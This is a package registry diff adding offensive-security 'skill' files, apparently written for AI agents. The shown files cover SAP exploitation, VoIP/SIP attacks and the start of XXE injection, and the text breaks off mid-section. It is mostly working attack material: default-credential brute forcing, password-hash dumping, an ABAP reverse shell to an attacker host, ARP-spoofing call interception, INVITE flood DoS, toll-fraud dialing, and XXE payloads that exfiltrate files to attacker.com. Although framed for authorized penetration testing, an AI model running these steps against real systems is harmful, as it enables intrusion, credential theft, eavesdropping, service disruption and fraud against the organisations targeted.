rtexit-method 0.1.7 → 0.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-ai-llm-security/SKILL.md +385 -0
- package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md +190 -0
- package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md +166 -0
- package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md +227 -0
- package/packaged-assets/.agents/skills/rt-cors-csrf/SKILL.md +180 -0
- package/packaged-assets/.agents/skills/rt-deserialization/SKILL.md +223 -0
- package/packaged-assets/.agents/skills/rt-dom-attacks/SKILL.md +219 -0
- package/packaged-assets/.agents/skills/rt-http-parameter-pollution/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-ldap-xpath-injection/SKILL.md +228 -0
- package/packaged-assets/.agents/skills/rt-oauth-oidc/SKILL.md +260 -0
- package/packaged-assets/.agents/skills/rt-path-traversal/SKILL.md +172 -0
- package/packaged-assets/.agents/skills/rt-printer-attacks/SKILL.md +213 -0
- package/packaged-assets/.agents/skills/rt-prototype-pollution/SKILL.md +154 -0
- package/packaged-assets/.agents/skills/rt-request-smuggling/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-sap-exploitation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-voip-sip/SKILL.md +231 -0
- package/packaged-assets/.agents/skills/rt-xxe/SKILL.md +181 -0
|
@@ -0,0 +1,275 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-sap-exploitation
|
|
3
|
+
description: "SAP system exploitation skill for authorized engagements. SAP service discovery and fingerprinting, default credential testing, SAP RFC enumeration with Metasploit modules, ICM web server exploitation, SAP GUI attacks, ABAP code injection, SAP Message Server vulnerability (CVE-2020-6207), SAP Router bypass, SAP HANA database attacks, and privilege escalation within SAP. Use when engagement scope includes SAP ERP, S/4HANA, or SAP NetWeaver systems."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-sap-exploitation — SAP System Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
SAP is the backbone ERP system for many large enterprises — it holds financial data, HR records, supply chain information, and business-critical processes. Compromising SAP is often the most impactful finding in an enterprise engagement. SAP systems are frequently misconfigured, run outdated patches, and use default credentials.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Fingerprinting
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# SAP port landscape
|
|
18
|
+
# 3200-3299 = SAP GUI (DIAG protocol) — SID 00-99
|
|
19
|
+
# 3300-3399 = RFC
|
|
20
|
+
# 8000-8099 = ICM HTTP
|
|
21
|
+
# 4300-4399 = Message Server
|
|
22
|
+
# 3600 = SAP Router
|
|
23
|
+
# 50000+ = SAP HANA
|
|
24
|
+
|
|
25
|
+
nmap -sV -p 3200-3299,3300-3399,8000-8099,4300-4399,3600 TARGET_IP
|
|
26
|
+
|
|
27
|
+
# Identify SAP system ID (SID) and instance
|
|
28
|
+
# SID = 3-character identifier (e.g., PRD, DEV, QAS)
|
|
29
|
+
# Instance = 2-digit number (00-99)
|
|
30
|
+
|
|
31
|
+
# HTTP-based fingerprinting
|
|
32
|
+
curl http://SAP_IP:8000/
|
|
33
|
+
curl http://SAP_IP:8000/sap/bc/ping # SAP alive check
|
|
34
|
+
curl http://SAP_IP:8000/sap/bc/gui/sap/its/webgui # Web GUI
|
|
35
|
+
|
|
36
|
+
# ICM server info
|
|
37
|
+
curl http://SAP_IP:8000/sap/bc/soap/wsdl?services=BAPI_ACTIVITYTYPE_GETLIST
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
---
|
|
41
|
+
|
|
42
|
+
## Phase 2 — Default Credentials
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
# SAP default accounts (try ALL of these)
|
|
46
|
+
# Format: username / password
|
|
47
|
+
|
|
48
|
+
# System accounts (always exist)
|
|
49
|
+
SAP* / 06071992 # Master superuser
|
|
50
|
+
SAP* / PASS # Alternative default
|
|
51
|
+
DDIC / 19920706 # Data Dictionary user (has all authorizations)
|
|
52
|
+
EARLYWATCH / SUPPORT # Early Watch service account
|
|
53
|
+
TMSADM / $1Pawd2& # Transport Management
|
|
54
|
+
|
|
55
|
+
# Application-specific
|
|
56
|
+
SOLMAN_ADMIN / SOLMAN
|
|
57
|
+
SAPSYS / MANAGER
|
|
58
|
+
BASIS / BASIS
|
|
59
|
+
|
|
60
|
+
# Try via SAP GUI (port 3200)
|
|
61
|
+
# Or via RFC:
|
|
62
|
+
python3 << 'EOF'
|
|
63
|
+
import pyrfc # pip install pyrfc
|
|
64
|
+
|
|
65
|
+
connections_to_try = [
|
|
66
|
+
{"user": "SAP*", "passwd": "06071992"},
|
|
67
|
+
{"user": "SAP*", "passwd": "PASS"},
|
|
68
|
+
{"user": "DDIC", "passwd": "19920706"},
|
|
69
|
+
{"user": "EARLYWATCH", "passwd": "SUPPORT"},
|
|
70
|
+
]
|
|
71
|
+
|
|
72
|
+
for creds in connections_to_try:
|
|
73
|
+
try:
|
|
74
|
+
conn = pyrfc.Connection(
|
|
75
|
+
ashost="SAP_IP", sysnr="00", client="000",
|
|
76
|
+
**creds
|
|
77
|
+
)
|
|
78
|
+
print(f"SUCCESS: {creds['user']}/{creds['passwd']}")
|
|
79
|
+
conn.close()
|
|
80
|
+
except pyrfc.LogonError:
|
|
81
|
+
print(f"FAILED: {creds['user']}")
|
|
82
|
+
EOF
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## Phase 3 — SAP RFC Enumeration & Exploitation
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
# RFC = Remote Function Call — SAP's RPC mechanism
|
|
91
|
+
# Many RFCs callable without auth or with low-priv auth
|
|
92
|
+
|
|
93
|
+
# Metasploit SAP modules
|
|
94
|
+
msfconsole
|
|
95
|
+
|
|
96
|
+
# Enumerate RFC services
|
|
97
|
+
use auxiliary/scanner/sap/sap_rfc_dbcon # Database connections
|
|
98
|
+
use auxiliary/scanner/sap/sap_rfc_eps_get_directory_listing # Directory listing
|
|
99
|
+
use auxiliary/scanner/sap/sap_rfc_read_table # Read any DB table!
|
|
100
|
+
|
|
101
|
+
# Read SAP database tables (often works with any valid user)
|
|
102
|
+
use auxiliary/admin/sap/sap_rfc_read_table
|
|
103
|
+
set RHOSTS SAP_IP
|
|
104
|
+
set SID PRD
|
|
105
|
+
set CLIENT 000
|
|
106
|
+
set USERNAME ANY_VALID_USER
|
|
107
|
+
set PASSWORD ANY_VALID_PASS
|
|
108
|
+
set TABLE USR02 # User table (contains hashed passwords)
|
|
109
|
+
run
|
|
110
|
+
|
|
111
|
+
# Output: all SAP user accounts + password hashes
|
|
112
|
+
# Crack hashes with hashcat -m 7700 (SAP CODVN B)
|
|
113
|
+
|
|
114
|
+
# Read sensitive tables
|
|
115
|
+
set TABLE RFCDES # RFC destinations (contains cleartext passwords!)
|
|
116
|
+
set TABLE ICFSERVL # ICF services
|
|
117
|
+
set TABLE T000 # Clients/mandants
|
|
118
|
+
|
|
119
|
+
# ABAP OS command execution (if RFC_OS_COMMAND available)
|
|
120
|
+
use auxiliary/admin/sap/sap_rfc_os_command
|
|
121
|
+
set COMMAND "id"
|
|
122
|
+
run
|
|
123
|
+
# → OS-level command execution on SAP server
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
---
|
|
127
|
+
|
|
128
|
+
## Phase 4 — CVE-2020-6207 (SAP Message Server — Missing Auth)
|
|
129
|
+
|
|
130
|
+
```bash
|
|
131
|
+
# SAP Message Server on port 4300/4301 — no authentication by default
|
|
132
|
+
# Allows registering rogue application servers → intercept connections
|
|
133
|
+
|
|
134
|
+
# Check if vulnerable
|
|
135
|
+
curl http://SAP_IP:4300/msgserver/text/logon
|
|
136
|
+
|
|
137
|
+
# Exploit: register rogue app server
|
|
138
|
+
# metasploit
|
|
139
|
+
use auxiliary/admin/sap/sap_ms_rogue_dispatcher
|
|
140
|
+
set RHOSTS SAP_IP
|
|
141
|
+
set LHOST YOUR_IP
|
|
142
|
+
run
|
|
143
|
+
# → Can intercept SAP GUI connections → credential theft
|
|
144
|
+
|
|
145
|
+
# sapms_exploit.py
|
|
146
|
+
python3 sapms_exploit.py --host SAP_IP --port 4300 --sid PRD
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Phase 5 — SAP ICM Web Attacks
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
# ICM = Internet Communication Manager (SAP's web server)
|
|
155
|
+
# Exposed web services are often vulnerable
|
|
156
|
+
|
|
157
|
+
# Find exposed ICF services
|
|
158
|
+
curl "http://SAP_IP:8000/sap/bc/" -v
|
|
159
|
+
# Look for: /sap/bc/soap/, /sap/bc/rest/, /sap/bc/gui/
|
|
160
|
+
|
|
161
|
+
# XXE via SOAP
|
|
162
|
+
curl -X POST "http://SAP_IP:8000/sap/bc/soap/wsdl" \
|
|
163
|
+
-H "Content-Type: text/xml" \
|
|
164
|
+
-d '<?xml version="1.0"?>
|
|
165
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
166
|
+
<SOAP-ENV:Envelope>
|
|
167
|
+
<SOAP-ENV:Body>&xxe;</SOAP-ENV:Body>
|
|
168
|
+
</SOAP-ENV:Envelope>'
|
|
169
|
+
|
|
170
|
+
# SSRF via SAP web services
|
|
171
|
+
curl "http://SAP_IP:8000/sap/bc/rest/testservice?url=http://169.254.169.254/"
|
|
172
|
+
|
|
173
|
+
# Verb tampering on restricted services
|
|
174
|
+
curl -X HEAD "http://SAP_IP:8000/sap/bc/admin/"
|
|
175
|
+
curl -X OPTIONS "http://SAP_IP:8000/sap/bc/admin/"
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
---
|
|
179
|
+
|
|
180
|
+
## Phase 6 — ABAP Code Injection
|
|
181
|
+
|
|
182
|
+
```bash
|
|
183
|
+
# ABAP = SAP's programming language
|
|
184
|
+
# If you have SE38/SE80 transaction access → execute ABAP code → OS commands
|
|
185
|
+
|
|
186
|
+
# Via SAP GUI (port 3200) with dev access:
|
|
187
|
+
# SE38 → Create new program → Run
|
|
188
|
+
|
|
189
|
+
# ABAP OS command execution:
|
|
190
|
+
DATA: lv_command TYPE string.
|
|
191
|
+
lv_command = 'id > /tmp/pwned.txt'.
|
|
192
|
+
CALL FUNCTION 'SXPG_COMMAND_EXECUTE'
|
|
193
|
+
EXPORTING
|
|
194
|
+
commandname = 'Z_CMD'
|
|
195
|
+
additional_parameters = lv_command.
|
|
196
|
+
|
|
197
|
+
# Read file
|
|
198
|
+
CALL FUNCTION 'GUI_UPLOAD'
|
|
199
|
+
EXPORTING filename = '/tmp/pwned.txt'
|
|
200
|
+
TABLES data_tab = lt_data.
|
|
201
|
+
|
|
202
|
+
# Reverse shell via ABAP
|
|
203
|
+
CALL FUNCTION 'SXPG_COMMAND_EXECUTE'
|
|
204
|
+
EXPORTING additional_parameters =
|
|
205
|
+
'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'.
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Phase 7 — SAP HANA Database Attacks
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
# SAP HANA = in-memory database (port 30013, 39013)
|
|
214
|
+
# Web IDE: port 8090
|
|
215
|
+
# SQL port: 39015
|
|
216
|
+
|
|
217
|
+
nmap -sV -p 30013,39013,39015,8090 HANA_IP
|
|
218
|
+
|
|
219
|
+
# Default HANA credentials
|
|
220
|
+
# SYSTEM / manager
|
|
221
|
+
# SYSTEM / HanaSystem1
|
|
222
|
+
|
|
223
|
+
# HANA web IDE (if exposed)
|
|
224
|
+
curl http://HANA_IP:8090/sap/hana/ide/
|
|
225
|
+
|
|
226
|
+
# SQL via Python
|
|
227
|
+
python3 << 'EOF'
|
|
228
|
+
from hdbcli import dbapi # pip install hdbcli
|
|
229
|
+
|
|
230
|
+
conn = dbapi.connect(
|
|
231
|
+
address="HANA_IP",
|
|
232
|
+
port=39015,
|
|
233
|
+
user="SYSTEM",
|
|
234
|
+
password="manager"
|
|
235
|
+
)
|
|
236
|
+
cursor = conn.cursor()
|
|
237
|
+
|
|
238
|
+
# Dump all schemas
|
|
239
|
+
cursor.execute("SELECT SCHEMA_NAME FROM SCHEMAS")
|
|
240
|
+
for row in cursor: print(row)
|
|
241
|
+
|
|
242
|
+
# Dump SAP application users
|
|
243
|
+
cursor.execute("SELECT * FROM SAPHANADB.USR02")
|
|
244
|
+
for row in cursor: print(row)
|
|
245
|
+
|
|
246
|
+
# OS command via HANA procedure (if priv)
|
|
247
|
+
cursor.execute("CALL SYS.SYSTEM_REPLICATION_STATUS()")
|
|
248
|
+
# Or native stored procedures that allow file I/O
|
|
249
|
+
EOF
|
|
250
|
+
|
|
251
|
+
# HANA brute force
|
|
252
|
+
hydra -l SYSTEM -P rockyou.txt HANA_IP -s 39015 -f tcp
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## Skill Levels
|
|
258
|
+
|
|
259
|
+
**BEGINNER:** SAP port scan + default credential testing via browser/GUI + read USR02 table
|
|
260
|
+
|
|
261
|
+
**INTERMEDIATE:** Metasploit RFC modules + CVE-2020-6207 Message Server + ICM web service attacks
|
|
262
|
+
|
|
263
|
+
**ADVANCED:** ABAP code execution + HANA database access + full credential extraction
|
|
264
|
+
|
|
265
|
+
**EXPERT:** SAP Router bypass + custom RFC exploitation + ABAP webshell deployment + SAP transport system backdoor
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## References
|
|
270
|
+
|
|
271
|
+
- SAP security research: https://www.onapsis.com/research
|
|
272
|
+
- Metasploit SAP modules: https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/sap
|
|
273
|
+
- CVE-2020-6207: https://www.cvedetails.com/cve/CVE-2020-6207/
|
|
274
|
+
- SAP Hacking Guide: https://conference.hitb.org/hitbsecconf2011ams/materials/D2T2%20-%20Mariano%20Nunez%20-%20SAP%20Hacking.pdf
|
|
275
|
+
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
|
|
@@ -0,0 +1,231 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-voip-sip
|
|
3
|
+
description: "VoIP and SIP attack skill for authorized engagements. SIP enumeration with svmap/svwar, SIP credential brute force, INVITE flood DoS, call interception via ARP poisoning, RTP stream capture and decoding, SIP proxy authentication bypass, voicemail PIN brute force, SIP scanner fingerprinting (Asterisk, FreePBX, Cisco UCM), and toll fraud via unauthorized outbound calls. Use when engagement scope includes VoIP infrastructure, PBX systems, or unified communications."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-voip-sip — VoIP & SIP Exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
VoIP systems handle corporate phone calls, voicemail, and unified communications. SIP (Session Initiation Protocol) is the dominant signaling protocol. Compromising VoIP infrastructure enables: call interception, credential theft, toll fraud (making expensive calls at the company's expense), and pivoting through the VoIP VLAN into production networks.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Discovery & Fingerprinting
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Install SIPvicious
|
|
18
|
+
pip3 install sipvicious
|
|
19
|
+
# Or: apt install sipvicious
|
|
20
|
+
|
|
21
|
+
# Scan for SIP devices (UDP 5060 by default)
|
|
22
|
+
svmap 10.10.10.0/24
|
|
23
|
+
# Discovers: SIP phones, PBX servers, gateways
|
|
24
|
+
# Output: IP, User-Agent (reveals Asterisk, FreePBX, Cisco, etc.)
|
|
25
|
+
|
|
26
|
+
# Enumerate extensions (SIP users)
|
|
27
|
+
svwar -e100-200 10.10.10.10 # Enumerate extensions 100-200
|
|
28
|
+
svwar -e100-999 10.10.10.10 -m REGISTER # Use REGISTER method
|
|
29
|
+
|
|
30
|
+
# Nmap SIP discovery
|
|
31
|
+
nmap -sU -p 5060 --script sip-enum-users 10.10.10.0/24
|
|
32
|
+
nmap -sU -p 5060 --script sip-methods 10.10.10.10 # Allowed methods
|
|
33
|
+
|
|
34
|
+
# Find SIP over TCP/TLS
|
|
35
|
+
nmap -sT -p 5060,5061 10.10.10.0/24
|
|
36
|
+
# 5060 = SIP (UDP/TCP)
|
|
37
|
+
# 5061 = SIP over TLS (SIPS)
|
|
38
|
+
|
|
39
|
+
# Find web admin panels
|
|
40
|
+
nmap -p 80,443,8080,8443 10.10.10.0/24
|
|
41
|
+
curl -k https://10.10.10.10/ # FreePBX, Cisco UCM web UI
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Phase 2 — SIP Credential Brute Force
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
# Brute force SIP accounts (REGISTER method)
|
|
50
|
+
svcrack -u 200 -d /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt 10.10.10.10
|
|
51
|
+
# -u 200 = extension/username to target
|
|
52
|
+
|
|
53
|
+
# Multiple extensions
|
|
54
|
+
for ext in 100 101 102 200 201 300; do
|
|
55
|
+
svcrack -u $ext -d rockyou.txt 10.10.10.10 &
|
|
56
|
+
done
|
|
57
|
+
|
|
58
|
+
# Hydra SIP brute force
|
|
59
|
+
hydra -l 200 -P rockyou.txt sip://10.10.10.10
|
|
60
|
+
|
|
61
|
+
# Default credentials to try first:
|
|
62
|
+
# Extension 200, Password: 200 (extension = password)
|
|
63
|
+
# Extension 100, Password: 1234
|
|
64
|
+
# admin / admin, admin / password
|
|
65
|
+
# Extension / (blank password)
|
|
66
|
+
|
|
67
|
+
# After credentials found — register as that extension
|
|
68
|
+
# Use Linphone, Zoiper, or MicroSIP with stolen creds
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## Phase 3 — Call Interception
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# ARP spoof to position between SIP phone and PBX
|
|
77
|
+
# Then capture RTP (audio) stream
|
|
78
|
+
|
|
79
|
+
# ARP spoof
|
|
80
|
+
arpspoof -i eth0 -t PHONE_IP PBX_IP &
|
|
81
|
+
arpspoof -i eth0 -t PBX_IP PHONE_IP &
|
|
82
|
+
|
|
83
|
+
# Capture SIP + RTP traffic
|
|
84
|
+
tcpdump -i eth0 -w voip_capture.pcap 'udp port 5060 or (udp portrange 10000-20000)'
|
|
85
|
+
|
|
86
|
+
# Analyze with Wireshark
|
|
87
|
+
# Telephony → VoIP Calls → select call → Play Streams
|
|
88
|
+
# Decodes RTP audio in real time
|
|
89
|
+
|
|
90
|
+
# rtpbreak — automatic RTP stream decoder
|
|
91
|
+
rtpbreak -n -i eth0 # Live capture
|
|
92
|
+
rtpbreak -d voip_capture.pcap # From file
|
|
93
|
+
# Output: separate .wav files per call
|
|
94
|
+
|
|
95
|
+
# Play captured calls
|
|
96
|
+
play call_1.wav # (sox)
|
|
97
|
+
|
|
98
|
+
# ucsniff — all-in-one VoIP sniffing tool
|
|
99
|
+
ucsniff -i eth0 -t PHONE_IP -g PBX_IP
|
|
100
|
+
# Automatic ARP spoof + capture + decode + save WAVs
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
---
|
|
104
|
+
|
|
105
|
+
## Phase 4 — INVITE Flood (DoS)
|
|
106
|
+
|
|
107
|
+
```bash
|
|
108
|
+
# Flood PBX with INVITE requests → crash or degrade service
|
|
109
|
+
|
|
110
|
+
# inviteflood
|
|
111
|
+
apt install inviteflood -y
|
|
112
|
+
inviteflood eth0 200 10.10.10.10 5060 1000
|
|
113
|
+
# Sends 1000 fake INVITE requests to extension 200
|
|
114
|
+
|
|
115
|
+
# svcrash — crash SIP devices with malformed packets
|
|
116
|
+
svcrash.py -i 10.10.10.10
|
|
117
|
+
|
|
118
|
+
# sipflood
|
|
119
|
+
python3 sipflood.py --target 10.10.10.10 --port 5060 --count 10000
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Phase 5 — Toll Fraud
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# After obtaining SIP credentials → make expensive calls at company's expense
|
|
128
|
+
# International calls, premium rate numbers
|
|
129
|
+
|
|
130
|
+
# Register with stolen credentials and dial out
|
|
131
|
+
# Using PJSUA (command line SIP client)
|
|
132
|
+
pjsua --id sip:200@PBX_IP \
|
|
133
|
+
--registrar sip:PBX_IP \
|
|
134
|
+
--username 200 \
|
|
135
|
+
--password STOLEN_PASS \
|
|
136
|
+
--outbound sip:PBX_IP \
|
|
137
|
+
sip:+1900PREMIUMRATE@PBX_IP
|
|
138
|
+
|
|
139
|
+
# Or: configure any SIP softphone
|
|
140
|
+
# Zoiper / Linphone / X-Lite:
|
|
141
|
+
# Account: 200@PBX_IP
|
|
142
|
+
# Password: STOLEN_PASS
|
|
143
|
+
# Dial: 9011 (outside line) + international number
|
|
144
|
+
|
|
145
|
+
# In report: demonstrate by calling test number (never actual toll fraud)
|
|
146
|
+
# Use: https://www.voip.ms test numbers or your own number
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Phase 6 — Voicemail PIN Brute Force
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
# Voicemail systems often have short PINs (4-6 digits)
|
|
155
|
+
# Access voicemail → hear confidential messages, password resets
|
|
156
|
+
|
|
157
|
+
# FreePBX voicemail web access
|
|
158
|
+
curl -X POST https://PBX_IP/admin/config.php \
|
|
159
|
+
-d "display=voicemail&action=login&mailbox=200&context=default&pin=1234"
|
|
160
|
+
|
|
161
|
+
# Phone-based voicemail brute force
|
|
162
|
+
# Dial voicemail access number → enter extension → brute force PIN
|
|
163
|
+
# Use SIP client + DTMF automation
|
|
164
|
+
|
|
165
|
+
python3 << 'EOF'
|
|
166
|
+
import pjsua2 as pj
|
|
167
|
+
# Dial voicemail, wait for PIN prompt, send DTMF tones
|
|
168
|
+
# for pin in range(0000, 9999):
|
|
169
|
+
# send_dtmf(str(pin).zfill(4))
|
|
170
|
+
# if not "invalid" in response: print(f"PIN: {pin}")
|
|
171
|
+
EOF
|
|
172
|
+
|
|
173
|
+
# Default voicemail PINs
|
|
174
|
+
# 1234, 0000, 1111, extension number, last 4 of phone number
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
---
|
|
178
|
+
|
|
179
|
+
## Phase 7 — FreePBX / Asterisk Web Exploitation
|
|
180
|
+
|
|
181
|
+
```bash
|
|
182
|
+
# FreePBX web admin (default port 80/443)
|
|
183
|
+
# Default creds: admin/admin, admin/password, maint/password
|
|
184
|
+
|
|
185
|
+
# CVE-2019-19006 — FreePBX RCE (unauthenticated)
|
|
186
|
+
curl -X POST "http://PBX_IP/admin/ajax.php?module=userman&command=verifyToken" \
|
|
187
|
+
-d "token=1"
|
|
188
|
+
|
|
189
|
+
# Asterisk Manager Interface (AMI) — port 5038
|
|
190
|
+
# Default: telnet PBX_IP 5038
|
|
191
|
+
nmap -p 5038 PBX_IP
|
|
192
|
+
telnet PBX_IP 5038
|
|
193
|
+
# Login: admin/amp111 (FreePBX default)
|
|
194
|
+
|
|
195
|
+
# AMI commands after auth:
|
|
196
|
+
Action: Command
|
|
197
|
+
Command: core show channels
|
|
198
|
+
# See all active calls
|
|
199
|
+
|
|
200
|
+
Action: Originate
|
|
201
|
+
Channel: SIP/200
|
|
202
|
+
Exten: +14155551234
|
|
203
|
+
Context: from-internal
|
|
204
|
+
Priority: 1
|
|
205
|
+
# Make a call from extension 200
|
|
206
|
+
|
|
207
|
+
# AMI → OS command injection (if Asterisk runs as root — common misconfiguration)
|
|
208
|
+
Action: Command
|
|
209
|
+
Command: shell cat /etc/passwd
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## Skill Levels
|
|
215
|
+
|
|
216
|
+
**BEGINNER:** svmap discovery + svwar extension enum + default credential testing
|
|
217
|
+
|
|
218
|
+
**INTERMEDIATE:** SIP credential brute force + ARP spoof + Wireshark VoIP call decode
|
|
219
|
+
|
|
220
|
+
**ADVANCED:** RTP stream decoding to WAV + INVITE flood DoS + toll fraud demonstration
|
|
221
|
+
|
|
222
|
+
**EXPERT:** FreePBX/Asterisk web exploitation + AMI command injection + encrypted SRTP decryption
|
|
223
|
+
|
|
224
|
+
---
|
|
225
|
+
|
|
226
|
+
## References
|
|
227
|
+
|
|
228
|
+
- SIPvicious: https://github.com/EnableSecurity/sipvicious
|
|
229
|
+
- ucsniff: https://github.com/pcapperez/ucsniff
|
|
230
|
+
- VoIP security guide: https://www.voip-info.org/asterisk-security/
|
|
231
|
+
- MITRE T1557: https://attack.mitre.org/techniques/T1557/
|
|
@@ -0,0 +1,181 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-xxe
|
|
3
|
+
description: "XML External Entity (XXE) injection skill for authorized engagements. Classic XXE for file read, XXE-based SSRF, blind XXE via out-of-band (OOB) DNS/HTTP exfiltration, XXE in file uploads (SVG, DOCX, XLSX), XXE in SOAP/REST APIs, XXE via XInclude, error-based XXE, and XXE to RCE via PHP expect wrapper. Use when any XML input is processed by the application."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-xxe — XML External Entity (XXE) Injection
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
XXE occurs when XML parsers process external entity references in attacker-controlled XML input. Impact ranges from local file disclosure to SSRF to RCE. XXE is commonly found in: XML APIs, file upload endpoints (SVG, DOCX, XLSX), SOAP services, and applications using XML for data exchange.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Classic XXE (File Read)
|
|
15
|
+
|
|
16
|
+
```xml
|
|
17
|
+
<!-- Basic XXE — read /etc/passwd -->
|
|
18
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
19
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
20
|
+
<root><data>&xxe;</data></root>
|
|
21
|
+
|
|
22
|
+
<!-- Windows paths -->
|
|
23
|
+
<?xml version="1.0"?>
|
|
24
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
|
|
25
|
+
<root>&xxe;</root>
|
|
26
|
+
|
|
27
|
+
<!-- Read sensitive files -->
|
|
28
|
+
file:///etc/passwd
|
|
29
|
+
file:///etc/shadow
|
|
30
|
+
file:///etc/hosts
|
|
31
|
+
file:///proc/self/environ ← environment variables (may have secrets)
|
|
32
|
+
file:///proc/self/cmdline ← running process command
|
|
33
|
+
file:///var/www/html/config.php
|
|
34
|
+
file:///app/.env
|
|
35
|
+
file:///home/user/.ssh/id_rsa
|
|
36
|
+
|
|
37
|
+
<!-- PHP wrapper — base64 encode to avoid XML breakage -->
|
|
38
|
+
<?xml version="1.0"?>
|
|
39
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
|
|
40
|
+
<root>&xxe;</root>
|
|
41
|
+
<!-- Decode response: echo "BASE64" | base64 -d -->
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Phase 2 — XXE-Based SSRF
|
|
47
|
+
|
|
48
|
+
```xml
|
|
49
|
+
<!-- Probe internal services via XXE -->
|
|
50
|
+
<?xml version="1.0"?>
|
|
51
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
|
|
52
|
+
<root>&xxe;</root>
|
|
53
|
+
<!-- AWS metadata → get IAM credentials -->
|
|
54
|
+
|
|
55
|
+
<!-- Internal port scan via XXE -->
|
|
56
|
+
<?xml version="1.0"?>
|
|
57
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://10.10.10.1:8080/">]>
|
|
58
|
+
<root>&xxe;</root>
|
|
59
|
+
<!-- Different response/timing for open vs closed ports -->
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## Phase 3 — Blind XXE (Out-of-Band)
|
|
65
|
+
|
|
66
|
+
```xml
|
|
67
|
+
<!-- No response reflection → use OOB to exfiltrate -->
|
|
68
|
+
|
|
69
|
+
<!-- Step 1: Host malicious DTD on attacker server -->
|
|
70
|
+
<!-- attacker.com/evil.dtd: -->
|
|
71
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
72
|
+
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
|
|
73
|
+
%eval;
|
|
74
|
+
%exfil;
|
|
75
|
+
|
|
76
|
+
<!-- Step 2: Send XML referencing your DTD -->
|
|
77
|
+
<?xml version="1.0"?>
|
|
78
|
+
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
|
|
79
|
+
<root>test</root>
|
|
80
|
+
|
|
81
|
+
<!-- Monitor attacker.com access logs → file contents in URL params -->
|
|
82
|
+
|
|
83
|
+
<!-- DNS-based blind XXE (firewalled HTTP) -->
|
|
84
|
+
<!ENTITY % xxe SYSTEM "http://UNIQUE_ID.attacker.burpcollaborator.net/">
|
|
85
|
+
|
|
86
|
+
